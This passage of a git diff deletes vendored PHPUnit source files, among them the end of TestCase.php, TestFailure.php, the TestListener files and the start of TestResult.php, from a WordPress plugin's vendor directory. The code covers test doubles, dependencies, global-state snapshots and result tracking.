@psalm-param trait-string $traitName - */ - protected function getMockForTrait(string $traitName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, array $mockedMethods = [], bool $cloneArguments = false): MockObject - { - $this->recordDoubledType($traitName); - - $mockObject = $this->getMockObjectGenerator()->getMockForTrait( - $traitName, - $arguments, - $mockClassName, - $callOriginalConstructor, - $callOriginalClone, - $callAutoload, - $mockedMethods, - $cloneArguments, - ); - - $this->registerMockObject($mockObject); - - return $mockObject; - } - - /** - * Returns an object for the specified trait. - * - * @psalm-param trait-string $traitName - */ - protected function getObjectForTrait(string $traitName, array $arguments = [], string $traitClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true): object - { - $this->recordDoubledType($traitName); - - return $this->getMockObjectGenerator()->getObjectForTrait( - $traitName, - $traitClassName, - $callAutoload, - $callOriginalConstructor, - $arguments, - ); - } - - /** - * @throws ClassNotFoundException - * @throws DoubleException - * @throws InterfaceNotFoundException - * - * @psalm-param class-string|null $classOrInterface - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4141 - */ - protected function prophesize(?string $classOrInterface = null): ObjectProphecy - { - if (!class_exists(Prophet::class)) { - throw new Exception('This test uses TestCase::prophesize(), but phpspec/prophecy is not installed. Please run "composer require --dev phpspec/prophecy".'); - } - - $this->addWarning('PHPUnit\Framework\TestCase::prophesize() is deprecated and will be removed in PHPUnit 10. Please use the trait provided by phpspec/prophecy-phpunit.'); - - if (is_string($classOrInterface)) { - $this->recordDoubledType($classOrInterface); - } - - return $this->getProphet()->prophesize($classOrInterface); - } - - /** - * Creates a default TestResult object. - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - protected function createResult(): TestResult - { - return new TestResult; - } - - /** - * This method is called when a test method did not execute successfully. - * - * @throws Throwable - */ - protected function onNotSuccessfulTest(Throwable $t): void - { - throw $t; - } - - protected function recordDoubledType(string $originalClassName): void - { - $this->doubledTypes[] = $originalClassName; - } - - /** - * @throws Throwable - */ - private function verifyMockObjects(): void - { - foreach ($this->mockObjects as $mockObject) { - if ($mockObject->__phpunit_hasMatchers()) { - $this->numAssertions++; - } - - $mockObject->__phpunit_verify( - $this->shouldInvocationMockerBeReset($mockObject), - ); - } - - if ($this->prophet !== null) { - try { - $this->prophet->checkPredictions(); - } finally { - foreach ($this->prophet->getProphecies() as $objectProphecy) { - foreach ($objectProphecy->getMethodProphecies() as $methodProphecies) { - foreach ($methodProphecies as $methodProphecy) { - /* @var MethodProphecy $methodProphecy */ - $this->numAssertions += count($methodProphecy->getCheckedPredictions()); - } - } - } - } - } - } - - /** - * @throws SkippedTestError - * @throws SyntheticSkippedError - * @throws Warning - */ - private function checkRequirements(): void - { - if (!$this->name || !method_exists($this, $this->name)) { - return; - } - - $missingRequirements = TestUtil::getMissingRequirements( - static::class, - $this->name, - ); - - if (!empty($missingRequirements)) { - $this->markTestSkipped(implode(PHP_EOL, $missingRequirements)); - } - } - - private function handleDependencies(): bool - { - if ([] === $this->dependencies || $this->inIsolation) { - return true; - } - - $passed = $this->result->passed(); - $passedKeys = array_keys($passed); - $numKeys = count($passedKeys); - - for ($i = 0; $i < $numKeys; $i++) { - $pos = strpos($passedKeys[$i], ' with data set'); - - if ($pos !== false) { - $passedKeys[$i] = substr($passedKeys[$i], 0, $pos); - } - } - - $passedKeys = array_flip(array_unique($passedKeys)); - - foreach ($this->dependencies as $dependency) { - if (!$dependency->isValid()) { - $this->markSkippedForNotSpecifyingDependency(); - - return false; - } - - if ($dependency->targetIsClass()) { - $dependencyClassName = $dependency->getTargetClassName(); - - if (array_search($dependencyClassName, $this->result->passedClasses(), true) === false) { - $this->markSkippedForMissingDependency($dependency); - - return false; - } - - continue; - } - - $dependencyTarget = $dependency->getTarget(); - - if (!isset($passedKeys[$dependencyTarget])) { - if (!$this->isCallableTestMethod($dependencyTarget)) { - $this->markWarningForUncallableDependency($dependency); - } else { - $this->markSkippedForMissingDependency($dependency); - } - - return false; - } - - if (isset($passed[$dependencyTarget])) { - if ($passed[$dependencyTarget]['size'] != TestUtil::UNKNOWN && - $this->getSize() != TestUtil::UNKNOWN && - $passed[$dependencyTarget]['size'] > $this->getSize()) { - $this->result->addError( - $this, - new SkippedTestError( - 'This test depends on a test that is larger than itself.', - ), - 0, - ); - - return false; - } - - if ($dependency->useDeepClone()) { - $deepCopy = new DeepCopy; - $deepCopy->skipUncloneable(false); - - $this->dependencyInput[$dependencyTarget] = $deepCopy->copy($passed[$dependencyTarget]['result']); - } elseif ($dependency->useShallowClone()) { - $this->dependencyInput[$dependencyTarget] = clone $passed[$dependencyTarget]['result']; - } else { - $this->dependencyInput[$dependencyTarget] = $passed[$dependencyTarget]['result']; - } - } else { - $this->dependencyInput[$dependencyTarget] = null; - } - } - - return true; - } - - private function markSkippedForNotSpecifyingDependency(): void - { - $this->status = BaseTestRunner::STATUS_SKIPPED; - - $this->result->startTest($this); - - $this->result->addError( - $this, - new SkippedTestError( - 'This method has an invalid @depends annotation.', - ), - 0, - ); - - $this->result->endTest($this, 0); - } - - private function markSkippedForMissingDependency(ExecutionOrderDependency $dependency): void - { - $this->status = BaseTestRunner::STATUS_SKIPPED; - - $this->result->startTest($this); - - $this->result->addError( - $this, - new SkippedTestError( - sprintf( - 'This test depends on "%s" to pass.', - $dependency->getTarget(), - ), - ), - 0, - ); - - $this->result->endTest($this, 0); - } - - private function markWarningForUncallableDependency(ExecutionOrderDependency $dependency): void - { - $this->status = BaseTestRunner::STATUS_WARNING; - - $this->result->startTest($this); - - $this->result->addWarning( - $this, - new Warning( - sprintf( - 'This test depends on "%s" which does not exist.', - $dependency->getTarget(), - ), - ), - 0, - ); - - $this->result->endTest($this, 0); - } - - /** - * Get the mock object generator, creating it if it doesn't exist. - */ - private function getMockObjectGenerator(): MockGenerator - { - if ($this->mockObjectGenerator === null) { - $this->mockObjectGenerator = new MockGenerator; - } - - return $this->mockObjectGenerator; - } - - private function startOutputBuffering(): void - { - ob_start(); - - $this->outputBufferingActive = true; - $this->outputBufferingLevel = ob_get_level(); - } - - /** - * @throws RiskyTestError - */ - private function stopOutputBuffering(): void - { - if (ob_get_level() !== $this->outputBufferingLevel) { - while (ob_get_level() >= $this->outputBufferingLevel) { - ob_end_clean(); - } - - throw new RiskyTestError( - 'Test code or tested code did not (only) close its own output buffers', - ); - } - - $this->output = ob_get_contents(); - - if ($this->outputCallback !== false) { - $this->output = (string) call_user_func($this->outputCallback, $this->output); - } - - ob_end_clean(); - - $this->outputBufferingActive = false; - $this->outputBufferingLevel = ob_get_level(); - } - - private function snapshotGlobalState(): void - { - if ($this->runTestInSeparateProcess || $this->inIsolation || - (!$this->backupGlobals && !$this->backupStaticAttributes)) { - return; - } - - $this->snapshot = $this->createGlobalStateSnapshot($this->backupGlobals === true); - } - - /** - * @throws InvalidArgumentException - * @throws RiskyTestError - */ - private function restoreGlobalState(): void - { - if (!$this->snapshot instanceof Snapshot) { - return; - } - - if ($this->beStrictAboutChangesToGlobalState) { - try { - $this->compareGlobalStateSnapshots( - $this->snapshot, - $this->createGlobalStateSnapshot($this->backupGlobals === true), - ); - } catch (RiskyTestError $rte) { - // Intentionally left empty - } - } - - $restorer = new Restorer; - - if ($this->backupGlobals) { - $restorer->restoreGlobalVariables($this->snapshot); - } - - if ($this->backupStaticAttributes) { - $restorer->restoreStaticAttributes($this->snapshot); - } - - $this->snapshot = null; - - if (isset($rte)) { - throw $rte; - } - } - - private function createGlobalStateSnapshot(bool $backupGlobals): Snapshot - { - $excludeList = new ExcludeList; - - foreach ($this->backupGlobalsExcludeList as $globalVariable) { - $excludeList->addGlobalVariable($globalVariable); - } - - if (!empty($this->backupGlobalsBlacklist)) { - $this->addWarning('PHPUnit\Framework\TestCase::$backupGlobalsBlacklist is deprecated and will be removed in PHPUnit 10. Please use PHPUnit\Framework\TestCase::$backupGlobalsExcludeList instead.'); - - foreach ($this->backupGlobalsBlacklist as $globalVariable) { - $excludeList->addGlobalVariable($globalVariable); - } - } - - if (!defined('PHPUNIT_TESTSUITE')) { - $excludeList->addClassNamePrefix('PHPUnit'); - $excludeList->addClassNamePrefix('SebastianBergmann\CodeCoverage'); - $excludeList->addClassNamePrefix('SebastianBergmann\FileIterator'); - $excludeList->addClassNamePrefix('SebastianBergmann\Invoker'); - $excludeList->addClassNamePrefix('SebastianBergmann\Template'); - $excludeList->addClassNamePrefix('SebastianBergmann\Timer'); - $excludeList->addClassNamePrefix('Doctrine\Instantiator'); - $excludeList->addClassNamePrefix('Prophecy'); - $excludeList->addStaticAttribute(ComparatorFactory::class, 'instance'); - - foreach ($this->backupStaticAttributesExcludeList as $class => $attributes) { - foreach ($attributes as $attribute) { - $excludeList->addStaticAttribute($class, $attribute); - } - } - - if (!empty($this->backupStaticAttributesBlacklist)) { - $this->addWarning('PHPUnit\Framework\TestCase::$backupStaticAttributesBlacklist is deprecated and will be removed in PHPUnit 10. Please use PHPUnit\Framework\TestCase::$backupStaticAttributesExcludeList instead.'); - - foreach ($this->backupStaticAttributesBlacklist as $class => $attributes) { - foreach ($attributes as $attribute) { - $excludeList->addStaticAttribute($class, $attribute); - } - } - } - } - - return new Snapshot( - $excludeList, - $backupGlobals, - (bool) $this->backupStaticAttributes, - false, - false, - false, - false, - false, - false, - false, - ); - } - - /** - * @throws InvalidArgumentException - * @throws RiskyTestError - */ - private function compareGlobalStateSnapshots(Snapshot $before, Snapshot $after): void - { - $backupGlobals = $this->backupGlobals === null || $this->backupGlobals; - - if ($backupGlobals) { - $this->compareGlobalStateSnapshotPart( - $before->globalVariables(), - $after->globalVariables(), - "--- Global variables before the test\n+++ Global variables after the test\n", - ); - - $this->compareGlobalStateSnapshotPart( - $before->superGlobalVariables(), - $after->superGlobalVariables(), - "--- Super-global variables before the test\n+++ Super-global variables after the test\n", - ); - } - - if ($this->backupStaticAttributes) { - $this->compareGlobalStateSnapshotPart( - $before->staticAttributes(), - $after->staticAttributes(), - "--- Static attributes before the test\n+++ Static attributes after the test\n", - ); - } - } - - /** - * @throws RiskyTestError - */ - private function compareGlobalStateSnapshotPart(array $before, array $after, string $header): void - { - if ($before != $after) { - $differ = new Differ($header); - $exporter = new Exporter; - - $diff = $differ->diff( - $exporter->export($before), - $exporter->export($after), - ); - - throw new RiskyTestError( - $diff, - ); - } - } - - private function getProphet(): Prophet - { - if ($this->prophet === null) { - $this->prophet = new Prophet; - } - - return $this->prophet; - } - - /** - * @throws \SebastianBergmann\ObjectEnumerator\InvalidArgumentException - */ - private function shouldInvocationMockerBeReset(MockObject $mock): bool - { - $enumerator = new Enumerator; - - foreach ($enumerator->enumerate($this->dependencyInput) as $object) { - if ($mock === $object) { - return false; - } - } - - if (!is_array($this->testResult) && !is_object($this->testResult)) { - return true; - } - - return !in_array($mock, $enumerator->enumerate($this->testResult), true); - } - - /** - * @throws \SebastianBergmann\ObjectEnumerator\InvalidArgumentException - * @throws \SebastianBergmann\ObjectReflector\InvalidArgumentException - * @throws InvalidArgumentException - */ - private function registerMockObjectsFromTestArguments(array $testArguments, array &$visited = []): void - { - if ($this->registerMockObjectsFromTestArgumentsRecursively) { - foreach ((new Enumerator)->enumerate($testArguments) as $object) { - if ($object instanceof MockObject) { - $this->registerMockObject($object); - } - } - } else { - foreach ($testArguments as $testArgument) { - if ($testArgument instanceof MockObject) { - $testArgument = Cloner::clone($testArgument); - - $this->registerMockObject($testArgument); - } elseif (is_array($testArgument) && !in_array($testArgument, $visited, true)) { - $visited[] = $testArgument; - - $this->registerMockObjectsFromTestArguments( - $testArgument, - $visited, - ); - } - } - } - } - - private function setDoesNotPerformAssertionsFromAnnotation(): void - { - $annotations = TestUtil::parseTestMethodAnnotations( - static::class, - $this->name, - ); - - if (isset($annotations['method']['doesNotPerformAssertions'])) { - $this->doesNotPerformAssertions = true; - } - } - - private function unregisterCustomComparators(): void - { - $factory = ComparatorFactory::getInstance(); - - foreach ($this->customComparators as $comparator) { - $factory->unregister($comparator); - } - - $this->customComparators = []; - } - - private function cleanupIniSettings(): void - { - foreach ($this->iniSettings as $varName => $oldValue) { - ini_set($varName, $oldValue); - } - - $this->iniSettings = []; - } - - private function cleanupLocaleSettings(): void - { - foreach ($this->locale as $category => $locale) { - setlocale($category, $locale); - } - - $this->locale = []; - } - - /** - * @throws Exception - */ - private function checkExceptionExpectations(Throwable $throwable): bool - { - $result = false; - - if ($this->expectedException !== null || $this->expectedExceptionCode !== null || $this->expectedExceptionMessage !== null || $this->expectedExceptionMessageRegExp !== null) { - $result = true; - } - - if ($throwable instanceof Exception) { - $result = false; - } - - if (is_string($this->expectedException)) { - try { - $reflector = new ReflectionClass($this->expectedException); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($this->expectedException === 'PHPUnit\Framework\Exception' || - $this->expectedException === '\PHPUnit\Framework\Exception' || - $reflector->isSubclassOf(Exception::class)) { - $result = true; - } - } - - return $result; - } - - private function runInSeparateProcess(): bool - { - return ($this->runTestInSeparateProcess || $this->runClassInSeparateProcess) && - !$this->inIsolation && !$this instanceof PhptTestCase; - } - - private function isCallableTestMethod(string $dependency): bool - { - [$className, $methodName] = explode('::', $dependency); - - if (!class_exists($className)) { - return false; - } - - try { - $class = new ReflectionClass($className); - } catch (ReflectionException $e) { - return false; - } - - if (!$class->isSubclassOf(__CLASS__)) { - return false; - } - - if (!$class->hasMethod($methodName)) { - return false; - } - - try { - $method = $class->getMethod($methodName); - } catch (ReflectionException $e) { - return false; - } - - return TestUtil::isTestMethod($method); - } - - /** - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $originalClassName - * - * @psalm-return MockObject&RealInstanceType - */ - private function createMockObject(string $originalClassName): MockObject - { - return $this->getMockBuilder($originalClassName) - ->disableOriginalConstructor() - ->disableOriginalClone() - ->disableArgumentCloning() - ->disallowMockingUnknownTypes() - ->getMock(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestFailure.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestFailure.php deleted file mode 100644 index f49dfc35..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestFailure.php +++ /dev/null @@ -1,155 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use function get_class; -use function sprintf; -use function trim; -use PHPUnit\Framework\Error\Error; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TestFailure -{ - /** - * @var null|Test - */ - private $failedTest; - - /** - * @var Throwable - */ - private $thrownException; - - /** - * @var string - */ - private $testName; - - /** - * Returns a description for an exception. - */ - public static function exceptionToString(Throwable $e): string - { - if ($e instanceof SelfDescribing) { - $buffer = $e->toString(); - - if ($e instanceof ExpectationFailedException && $e->getComparisonFailure()) { - $buffer .= $e->getComparisonFailure()->getDiff(); - } - - if ($e instanceof PHPTAssertionFailedError) { - $buffer .= $e->getDiff(); - } - - if (!empty($buffer)) { - $buffer = trim($buffer) . "\n"; - } - - return $buffer; - } - - if ($e instanceof Error) { - return $e->getMessage() . "\n"; - } - - if ($e instanceof ExceptionWrapper) { - return $e->getClassName() . ': ' . $e->getMessage() . "\n"; - } - - return get_class($e) . ': ' . $e->getMessage() . "\n"; - } - - /** - * Constructs a TestFailure with the given test and exception. - */ - public function __construct(Test $failedTest, Throwable $t) - { - if ($failedTest instanceof SelfDescribing) { - $this->testName = $failedTest->toString(); - } else { - $this->testName = get_class($failedTest); - } - - if (!$failedTest instanceof TestCase || !$failedTest->isInIsolation()) { - $this->failedTest = $failedTest; - } - - $this->thrownException = $t; - } - - /** - * Returns a short description of the failure. - */ - public function toString(): string - { - return sprintf( - '%s: %s', - $this->testName, - $this->thrownException->getMessage(), - ); - } - - /** - * Returns a description for the thrown exception. - */ - public function getExceptionAsString(): string - { - return self::exceptionToString($this->thrownException); - } - - /** - * Returns the name of the failing test (including data set, if any). - */ - public function getTestName(): string - { - return $this->testName; - } - - /** - * Returns the failing test. - * - * Note: The test object is not set when the test is executed in process - * isolation. - * - * @see Exception - */ - public function failedTest(): ?Test - { - return $this->failedTest; - } - - /** - * Gets the thrown exception. - */ - public function thrownException(): Throwable - { - return $this->thrownException; - } - - /** - * Returns the exception's message. - */ - public function exceptionMessage(): string - { - return $this->thrownException()->getMessage(); - } - - /** - * Returns true if the thrown exception - * is of type AssertionFailedError. - */ - public function isFailure(): bool - { - return $this->thrownException() instanceof AssertionFailedError; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestListener.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestListener.php deleted file mode 100644 index eade600f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestListener.php +++ /dev/null @@ -1,45 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use Throwable; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @deprecated - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface TestListener -{ - public function addError(Test $test, Throwable $t, float $time): void; - - public function addWarning(Test $test, Warning $e, float $time): void; - - public function addFailure(Test $test, AssertionFailedError $e, float $time): void; - - public function addIncompleteTest(Test $test, Throwable $t, float $time): void; - - public function addRiskyTest(Test $test, Throwable $t, float $time): void; - - public function addSkippedTest(Test $test, Throwable $t, float $time): void; - - public function startTestSuite(TestSuite $suite): void; - - public function endTestSuite(TestSuite $suite): void; - - public function startTest(Test $test): void; - - public function endTest(Test $test, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php deleted file mode 100644 index 5731d98d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php +++ /dev/null @@ -1,60 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use Throwable; - -/** - * @deprecated The `TestListener` interface is deprecated - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -trait TestListenerDefaultImplementation -{ - public function addError(Test $test, Throwable $t, float $time): void - { - } - - public function addWarning(Test $test, Warning $e, float $time): void - { - } - - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - } - - public function addIncompleteTest(Test $test, Throwable $t, float $time): void - { - } - - public function addRiskyTest(Test $test, Throwable $t, float $time): void - { - } - - public function addSkippedTest(Test $test, Throwable $t, float $time): void - { - } - - public function startTestSuite(TestSuite $suite): void - { - } - - public function endTestSuite(TestSuite $suite): void - { - } - - public function startTest(Test $test): void - { - } - - public function endTest(Test $test, float $time): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestResult.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestResult.php deleted file mode 100644 index 0049117d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestResult.php +++ /dev/null @@ -1,1324 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_EOL; -use function class_exists; -use function count; -use function extension_loaded; -use function function_exists; -use function get_class; -use function sprintf; -use function xdebug_get_monitored_functions; -use function xdebug_is_debugger_active; -use function xdebug_start_function_monitor; -use function xdebug_stop_function_monitor; -use AssertionError; -use Countable; -use Error; -use PHPUnit\Util\ErrorHandler; -use PHPUnit\Util\ExcludeList; -use PHPUnit\Util\Printer; -use PHPUnit\Util\Test as TestUtil; -use ReflectionClass; -use ReflectionException; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\Exception as OriginalCodeCoverageException; -use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; -use SebastianBergmann\Invoker\Invoker; -use SebastianBergmann\Invoker\TimeoutException; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use SebastianBergmann\ResourceOperations\ResourceOperations; -use SebastianBergmann\Timer\Timer; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TestResult implements Countable -{ - /** - * @var array - */ - private $passed = []; - - /** - * @var array - */ - private $passedTestClasses = []; - - /** - * @var bool - */ - private $currentTestSuiteFailed = false; - - /** - * @var TestFailure[] - */ - private $errors = []; - - /** - * @var TestFailure[] - */ - private $failures = []; - - /** - * @var TestFailure[] - */ - private $warnings = []; - - /** - * @var TestFailure[] - */ - private $notImplemented = []; - - /** - * @var TestFailure[] - */ - private $risky = []; - - /** - * @var TestFailure[] - */ - private $skipped = []; - - /** - * @deprecated Use the `TestHook` interfaces instead - * - * @var TestListener[] - */ - private $listeners = []; - - /** - * @var int - */ - private $runTests = 0; - - /** - * @var float - */ - private $time = 0; - - /** - * Code Coverage information. - * - * @var CodeCoverage - */ - private $codeCoverage; - - /** - * @var bool - */ - private $convertDeprecationsToExceptions = false; - - /** - * @var bool - */ - private $convertErrorsToExceptions = true; - - /** - * @var bool - */ - private $convertNoticesToExceptions = true; - - /** - * @var bool - */ - private $convertWarningsToExceptions = true; - - /** - * @var bool - */ - private $stop = false; - - /** - * @var bool - */ - private $stopOnError = false; - - /** - * @var bool - */ - private $stopOnFailure = false; - - /** - * @var bool - */ - private $stopOnWarning = false; - - /** - * @var bool - */ - private $beStrictAboutTestsThatDoNotTestAnything = true; - - /** - * @var bool - */ - private $beStrictAboutOutputDuringTests = false; - - /** - * @var bool - */ - private $beStrictAboutTodoAnnotatedTests = false; - - /** - * @var bool - */ - private $beStrictAboutResourceUsageDuringSmallTests = false; - - /** - * @var bool - */ - private $enforceTimeLimit = false; - - /** - * @var bool - */ - private $forceCoversAnnotation = false; - - /** - * @var int - */ - private $timeoutForSmallTests = 1; - - /** - * @var int - */ - private $timeoutForMediumTests = 10; - - /** - * @var int - */ - private $timeoutForLargeTests = 60; - - /** - * @var bool - */ - private $stopOnRisky = false; - - /** - * @var bool - */ - private $stopOnIncomplete = false; - - /** - * @var bool - */ - private $stopOnSkipped = false; - - /** - * @var bool - */ - private $lastTestFailed = false; - - /** - * @var int - */ - private $defaultTimeLimit = 0; - - /** - * @var bool - */ - private $stopOnDefect = false; - - /** - * @var bool - */ - private $registerMockObjectsFromTestArgumentsRecursively = false; - - /** - * @deprecated Use the `TestHook` interfaces instead - * - * @codeCoverageIgnore - * - * Registers a TestListener. - */ - public function addListener(TestListener $listener): void - { - $this->listeners[] = $listener; - } - - /** - * @deprecated Use the `TestHook` interfaces instead - * - * @codeCoverageIgnore - * - * Unregisters a TestListener. - */ - public function removeListener(TestListener $listener): void - { - foreach ($this->listeners as $key => $_listener) { - if ($listener === $_listener) { - unset($this->listeners[$key]); - } - } - } - - /** - * @deprecated Use the `TestHook` interfaces instead - * - * @codeCoverageIgnore - * - * Flushes all flushable TestListeners. - */ - public function flushListeners(): void - { - foreach ($this->listeners as $listener) { - if ($listener instanceof Printer) { - $listener->flush(); - } - } - } - - /** - * Adds an error to the list of errors. - */ - public function addError(Test $test, Throwable $t, float $time): void - { - if ($t instanceof RiskyTestError) { - $this->recordRisky($test, $t); - - $notifyMethod = 'addRiskyTest'; - - if ($test instanceof TestCase) { - $test->markAsRisky(); - } - - if ($this->stopOnRisky || $this->stopOnDefect) { - $this->stop(); - } - } elseif ($t instanceof IncompleteTest) { - $this->recordNotImplemented($test, $t); - - $notifyMethod = 'addIncompleteTest'; - - if ($this->stopOnIncomplete) { - $this->stop(); - } - } elseif ($t instanceof SkippedTest) { - $this->recordSkipped($test, $t); - - $notifyMethod = 'addSkippedTest'; - - if ($this->stopOnSkipped) { - $this->stop(); - } - } else { - $this->recordError($test, $t); - - $notifyMethod = 'addError'; - - if ($this->stopOnError || $this->stopOnFailure) { - $this->stop(); - } - } - - // @see https://github.com/sebastianbergmann/phpunit/issues/1953 - if ($t instanceof Error) { - $t = new ExceptionWrapper($t); - } - - foreach ($this->listeners as $listener) { - $listener->{$notifyMethod}($test, $t, $time); - } - - $this->lastTestFailed = true; - $this->time += $time; - } - - /** - * Adds a warning to the list of warnings. - * The passed in exception caused the warning. - */ - public function addWarning(Test $test, Warning $e, float $time): void - { - if ($this->stopOnWarning || $this->stopOnDefect) { - $this->stop(); - } - - $this->recordWarning($test, $e); - - foreach ($this->listeners as $listener) { - $listener->addWarning($test, $e, $time); - } - - $this->time += $time; - } - - /** - * Adds a failure to the list of failures. - * The passed in exception caused the failure. - */ - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - if ($e instanceof RiskyTestError || $e instanceof OutputError) { - $this->recordRisky($test, $e); - - $notifyMethod = 'addRiskyTest'; - - if ($test instanceof TestCase) { - $test->markAsRisky(); - } - - if ($this->stopOnRisky || $this->stopOnDefect) { - $this->stop(); - } - } elseif ($e instanceof IncompleteTest) { - $this->recordNotImplemented($test, $e); - - $notifyMethod = 'addIncompleteTest'; - - if ($this->stopOnIncomplete) { - $this->stop(); - } - } elseif ($e instanceof SkippedTest) { - $this->recordSkipped($test, $e); - - $notifyMethod = 'addSkippedTest'; - - if ($this->stopOnSkipped) { - $this->stop(); - } - } else { - $this->failures[] = new TestFailure($test, $e); - $notifyMethod = 'addFailure'; - - if ($this->stopOnFailure || $this->stopOnDefect) { - $this->stop(); - } - } - - foreach ($this->listeners as $listener) { - $listener->{$notifyMethod}($test, $e, $time); - } - - $this->lastTestFailed = true; - $this->time += $time; - } - - /** - * Informs the result that a test suite will be started. - */ - public function startTestSuite(TestSuite $suite): void - { - $this->currentTestSuiteFailed = false; - - foreach ($this->listeners as $listener) { - $listener->startTestSuite($suite); - } - } - - /** - * Informs the result that a test suite was completed. - */ - public function endTestSuite(TestSuite $suite): void - { - if (!$this->currentTestSuiteFailed) { - $this->passedTestClasses[] = $suite->getName(); - } - - foreach ($this->listeners as $listener) { - $listener->endTestSuite($suite); - } - } - - /** - * Informs the result that a test will be started. - */ - public function startTest(Test $test): void - { - $this->lastTestFailed = false; - $this->runTests += count($test); - - foreach ($this->listeners as $listener) { - $listener->startTest($test); - } - } - - /** - * Informs the result that a test was completed. - * - * @throws InvalidArgumentException - */ - public function endTest(Test $test, float $time): void - { - foreach ($this->listeners as $listener) { - $listener->endTest($test, $time); - } - - if (!$this->lastTestFailed && $test instanceof TestCase) { - $class = get_class($test); - $key = $class . '::' . $test->getName(); - - $this->passed[$key] = [ - 'result' => $test->getResult(), - 'size' => TestUtil::getSize( - $class, - $test->getName(false), - ), - ]; - - $this->time += $time; - } - - if ($this->lastTestFailed && $test instanceof TestCase) { - $this->currentTestSuiteFailed = true; - } - } - - /** - * Returns true if no risky test occurred. - */ - public function allHarmless(): bool - { - return $this->riskyCount() === 0; - } - - /** - * Gets the number of risky tests. - */ - public function riskyCount(): int - { - return count($this->risky); - } - - /** - * Returns true if no incomplete test occurred. - */ - public function allCompletelyImplemented(): bool - { - return $this->notImplementedCount() === 0; - } - - /** - * Gets the number of incomplete tests. - */ - public function notImplementedCount(): int - { - return count($this->notImplemented); - } - - /** - * Returns an array of TestFailure objects for the risky tests. - * - * @return TestFailure[] - */ - public function risky(): array - { - return $this->risky; - } - - /** - * Returns an array of TestFailure objects for the incomplete tests. - * - * @return TestFailure[] - */ - public function notImplemented(): array - { - return $this->notImplemented; - } - - /** - * Returns true if no test has been skipped. - */ - public function noneSkipped(): bool - { - return $this->skippedCount() === 0; - } - - /** - * Gets the number of skipped tests. - */ - public function skippedCount(): int - { - return count($this->skipped); - } - - /** - * Returns an array of TestFailure objects for the skipped tests. - * - * @return TestFailure[] - */ - public function skipped(): array - { - return $this->skipped; - } - - /** - * Gets the number of detected errors. - */ - public function errorCount(): int - { - return count($this->errors); - } - - /** - * Returns an array of TestFailure objects for the errors. - * - * @return TestFailure[] - */ - public function errors(): array - { - return $this->errors; - } - - /** - * Gets the number of detected failures. - */ - public function failureCount(): int - { - return count($this->failures); - } - - /** - * Returns an array of TestFailure objects for the failures. - * - * @return TestFailure[] - */ - public function failures(): array - { - return $this->failures; - } - - /** - * Gets the number of detected warnings. - */ - public function warningCount(): int - { - return count($this->warnings); - } - - /** - * Returns an array of TestFailure objects for the warnings. - * - * @return TestFailure[] - */ - public function warnings(): array - { - return $this->warnings; - } - - /** - * Returns the names of the tests that have passed. - */ - public function passed(): array - { - return $this->passed; - } - - /** - * Returns the names of the TestSuites that have passed. - * - * This enables @depends-annotations for TestClassName::class - */ - public function passedClasses(): array - { - return $this->passedTestClasses; - } - - /** - * Returns whether code coverage information should be collected. - */ - public function getCollectCodeCoverageInformation(): bool - { - return $this->codeCoverage !== null; - } - - /** - * Runs a TestCase. - * - * @throws \SebastianBergmann\CodeCoverage\InvalidArgumentException - * @throws CodeCoverageException - * @throws InvalidArgumentException - * @throws UnintentionallyCoveredCodeException - */ - public function run(Test $test): void - { - Assert::resetCount(); - 